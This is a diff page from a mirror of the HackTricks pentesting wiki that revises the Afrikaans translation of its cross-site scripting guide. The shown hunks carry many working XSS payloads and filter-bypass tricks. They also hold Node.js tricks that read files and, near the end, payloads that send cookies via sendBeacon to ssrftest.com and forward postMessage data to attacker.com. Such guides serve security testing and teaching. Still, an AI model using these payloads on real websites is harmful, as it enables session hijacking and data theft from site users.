mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to
This commit is contained in:
parent
94d5b5265e
commit
80523d9b80
@ -3,7 +3,7 @@
|
||||
## Metodologie
|
||||
|
||||
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
||||
2. **Vind die konteks** waar dit reflekteer/gebruik word.
|
||||
2. **Vind die konteks** waar dit reflekteer/gebruikt word.
|
||||
3. As dit **reflekteer**
|
||||
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
|
||||
1. In **rauwe HTML**:
|
||||
@ -20,14 +20,14 @@
|
||||
3. Binne **JavaScript-kode**:
|
||||
1. Kan jy die `<script>`-tag ontsnap?
|
||||
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
|
||||
3. Is jou invoer in sjabloon letterlik \`\`?
|
||||
3. Is jou invoer in sjabloon literale \`\`?
|
||||
4. Kan jy beskermings omseil?
|
||||
4. Javascript **funksie** wat **uitgevoer** word
|
||||
1. Jy kan die naam van die funksie wat uitgevoer moet word, aandui. bv.: `?callback=alert(1)`
|
||||
1. Jy kan die naam van die funksie wat uitgevoer moet word aandui. bv.: `?callback=alert(1)`
|
||||
4. As **gebruik**:
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
|
||||
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet van:
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
@ -38,7 +38,7 @@ debugging-client-side-js.md
|
||||
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
|
||||
|
||||
- **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
||||
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
|
||||
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
|
||||
- **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
|
||||
|
||||
## Konteks
|
||||
@ -56,8 +56,8 @@ As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy pr
|
||||
|
||||
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
```html
|
||||
@ -69,7 +69,7 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
|
||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
|
||||
|
||||
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>` etiket binne die HTML-kode is nie.
|
||||
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `</script>` etiket binne die HTML-kode is nie.
|
||||
- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
@ -92,15 +92,15 @@ js-hoisting.md
|
||||
|
||||
### Javascript Funksie
|
||||
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
|
||||
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
|
||||
.png>)
|
||||
|
||||
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).
|
||||
|
||||
Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
|
||||
Maar, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universele XSS**
|
||||
|
||||
Hierdie soort XSS kan **oral** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
|
||||
Hierdie tipe XSS kan **oral** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
|
||||
Sommige **voorbeelde**:
|
||||
|
||||
{{#ref}}
|
||||
@ -147,11 +147,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Invoeging binne ruwe HTML
|
||||
## Invoeging binne rou HTML
|
||||
|
||||
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
||||
Vir hierdie gevalle hou ook **in gedagte** [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\*_
|
||||
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\**_
|
||||
|
||||
In hierdie geval en as geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
|
||||
```html
|
||||
@ -161,22 +161,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
|
||||
Maar, as tags/kenmerke swart/blanklys gebruik word, sal jy **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Tags/Gebeurtenisse brute-force
|
||||
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
|
||||
### Aangepaste tags
|
||||
### Pasgemaakte tags
|
||||
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` kenmerk uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Swartlys Bypasses
|
||||
|
||||
As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
|
||||
As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -239,7 +239,7 @@ Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/e
|
||||
|
||||
### Klik XSS - Clickjacking
|
||||
|
||||
As jy die kwesbaarheid wil benut en jy moet die **gebruiker 'n skakel of 'n vorm laat klik** met voorafgevulde data, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
|
||||
### Onmoontlik - Hangende Markup
|
||||
|
||||
@ -267,7 +267,7 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
||||
```
|
||||
### Binnen die attribuut
|
||||
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **ge-reflekteer word of jy net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
|
||||
@ -295,7 +295,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Omseil binne gebeurtenis met Unicode-kodering**
|
||||
**Omheining binne gebeurtenis met Unicode-kodering**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
|
||||
```
|
||||
### Spesiale Protokolle Binnen die attribuut
|
||||
|
||||
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
|
||||
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** te **voer**. Sommige sal gebruikersinteraksie vereis en sommige nie.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Plekke waar jy hierdie protokolle kan inspuit**
|
||||
|
||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die eienskap `href` aanvaar** en in **meeste** van die etikette wat die **eienskap `src`** aanvaar (maar nie `<img>`)
|
||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -357,7 +357,7 @@ Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
|
||||
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **nie** **sal** **werk** nie, maar jy kan **hulle meng binne die payload**.
|
||||
|
||||
**Gebruik Hex en Octal kodering met `javascript:`**
|
||||
|
||||
@ -377,15 +377,15 @@ Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk na die **volgende bladsy om hierdie gedrag te benut**:
|
||||
As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk die **volgende bladsy om hierdie gedrag te benut**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### oor Gebeurtenis Hanteerders Omseiling
|
||||
### op Gebeurtenis Hanteerders Omseiling
|
||||
|
||||
Eerstens, kyk na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
|
||||
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
|
||||
As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, solank jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor:
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n versteekte attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutelattribuut te gebruik. Hier is die vektor:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -476,7 +476,7 @@ As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>`
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||
|
||||
### Binne JS-kode
|
||||
|
||||
@ -488,7 +488,7 @@ As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Om **strings** te konstrueer, behalwe vir enkel- en dubbel-aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
|
||||
Om **strings** te konstrueer, behalwe vir enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
|
||||
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
|
||||
|
||||
Dit kan **abused** word met:
|
||||
@ -624,7 +624,7 @@ console.log(arguments);
|
||||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||||
|
||||
//It's possible to construct a function and call it
|
||||
Function`x${'alert(1337)'}x```
|
||||
Function`x${'alert(1337)'}x`
|
||||
|
||||
// .replace can use regexes and call a function if something is found
|
||||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||||
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
@ -766,7 +767,7 @@ Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne
|
||||
|
||||
### Sessiemirrow
|
||||
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld, wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
|
||||
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
|
||||
|
||||
@ -823,16 +824,16 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS met header-inspuiting in 'n 302 antwoord
|
||||
### XSS met header-inspuiting in 'n 302-respons
|
||||
|
||||
As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
As jy vind dat jy **headers in 'n 302-omleidingrespons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
|
||||
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
|
||||
|
||||
### Slegs Letters, Syfers en Punte
|
||||
|
||||
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
|
||||
As jy in staat is om die **callback** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
|
||||
|
||||
### Geldige `<script>` Inhoud-Tipes vir XSS
|
||||
|
||||
@ -898,9 +899,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voor-rendering veroorsaak word, op te los. Dit werk soos volg:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -995,13 +996,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Toegang tot `require` indirek
|
||||
|
||||
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
|
||||
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
|
||||
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te bekom:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1010,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry:
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1269,7 +1270,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
|
||||
> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
|
||||
|
||||
### Steel Bladsy Inhoud
|
||||
```javascript
|
||||
@ -1405,7 +1406,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Steel PostMessage boodskappe
|
||||
### Steel PostMessage-boodskappe
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
@ -1419,7 +1420,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegang tot Skadu-DOM
|
||||
### Toegang tot Skadu DOM
|
||||
|
||||
{{#ref}}
|
||||
shadow-dom.md
|
||||
@ -1431,7 +1432,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Blinde XSS-ladinge
|
||||
### Blinde XSS lasladinge
|
||||
|
||||
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
